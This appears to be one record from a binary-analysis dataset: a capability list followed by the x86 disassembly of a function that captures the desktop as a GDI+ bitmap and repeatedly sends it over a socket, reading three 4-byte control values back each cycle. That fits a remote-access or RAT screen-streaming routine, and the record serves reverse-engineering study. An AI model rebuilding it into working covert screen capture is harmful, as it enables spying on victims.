Function at 0x412854
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push 0x84
mov eax, 0x43bb4e
call fcn.00416539
mov dword [ebp - 0x78], ecx
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov esi, dword [ebp + 8]
mov dword [0x451abc], eax
mov eax, dword [ebp + 0x10]
push ebx
mov dword [0x451ac0], eax
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x412a9b
push 0x451ac4
push 0x43c3a0
push 1
push ebx
push 0x43c3b0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x412a9b
mov edx, esi
lea ecx, [ebp - 0x13]
call fcn.00402f30
push ecx
lea ecx, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402f54
mov dword [ebp - 4], ebx
lea edx, [ebp - 0x90]
mov ecx, dword [0x451b10]
lea ecx, [ecx + 0xf4]
call fcn.00409514
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90]
mov ebx, eax
call fcn.00402db9
cmp ebx, 0xffffffff
je 0x412a9b
jmp 0x412a38
push 0x10
call dword [sym.imp.gdiplus.dll_GdipAlloc]
mov esi, eax
test esi, esi
je 0x412938
and dword [ebp - 0x6c], 0
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x6c]
push eax
push 0
push dword [ebp - 0x74]
mov dword [esi], 0x449500
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x6c]
mov dword [esi + 4], eax
jmp 0x41293a
xor esi, esi
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x20]
mov edx, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp - 0x78]
push dword [edi + 8]
call fcn.0041183a
pop ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
test esi, esi
je 0x412964
mov eax, dword [esi]
push ecx
mov ecx, esi
call dword [eax]
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x44]
call fcn.00407391
cmp byte [ebp - 0x30], 0
je 0x412a7e
mov al, byte [edi + 4]
xor esi, esi
mov byte [ebp - 0x68], al
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x34]
push esi
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x68]
push 0xc
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x412a70
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x44]
push esi
push eax
push dword [ebp - 0x44]
push ebx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x412a70
push esi
push 4
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], esi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x412a70
mov eax, dword [ebp - 0x48]
push esi
mov dword [edi + 8], eax
lea eax, [ebp - 0x4c]
push 4
push eax
push ebx
mov dword [ebp - 0x4c], esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x412a70
mov eax, dword [ebp - 0x4c]
push esi
mov dword [0x451abc], eax
lea eax, [ebp - 0x2c]
push 4
push eax
push ebx
mov dword [ebp - 0x2c], esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x412a70
mov eax, dword [ebp - 0x2c]
push 0x64
mov dword [0x451ac0], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x30], 0
je 0x412a2c
lea ecx, [ebp - 0x44]
call fcn.00402cd5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00402cd5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ecx, eax
lea edi, [ebp - 0x5c]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x5c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
push dword [ebp - 0x50]
mov edx, dword [ebp - 0x54]
lea ecx, [ebp - 0x74]
call fcn.00411cdb
mov al, byte [ebp - 0x70]
pop ecx
test al, al
jne 0x4128fe
jmp 0x412a8a
cmp byte [ebp - 0x30], 0
je 0x412a7e
lea ecx, [ebp - 0x44]
call fcn.00402cd5
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00402cd5
mov eax, dword [0x451ac4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.004164e8
ret 0xc